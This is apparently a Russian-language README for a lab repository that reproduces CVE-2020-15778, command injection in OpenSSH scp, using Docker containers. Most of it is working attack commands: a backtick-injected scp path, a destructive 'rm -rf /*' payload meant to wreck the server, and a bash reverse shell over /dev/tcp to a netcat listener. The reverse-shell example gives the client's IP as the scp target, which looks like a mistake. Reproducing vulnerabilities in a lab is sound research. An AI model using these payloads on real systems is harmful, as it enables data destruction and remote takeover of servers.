CVE-2020-15778

Введение

Этот репозиторий воспроизводит CVE-2020-15778.

Шаги

1. Соберите docker-образы для сервера и клиента scp

cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

2. Запустите scp-сервер в контейнере.

docker run -d -P --name scp-server server-cve

Получите внутренний IP-адрес scp-сервера с помощью

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

3. Запустите клиент в контейнере.

docker run --name scp-client -i -t client-cve

4. Внедрите собственную команду shell в scp-сервер, вызвав команду scp в клиенте.

В терминале клиента выполните

scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

Пароль — «PASSWORD».

Примеры

Вот несколько примеров использования этой уязвимости.

1. Удалите все на сервере, чтобы вывести его из строя.

scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'

2. Перенаправьте bash scp-сервера в клиент (имитация ssh).

Прослушивайте порт на клиентской машине.

nc -lvvp 8080

Используйте scp, чтобы заставить сервер перенаправить интерактивный bash на клиентскую машину.

scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

IP-адрес клиента можно получить с помощью

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client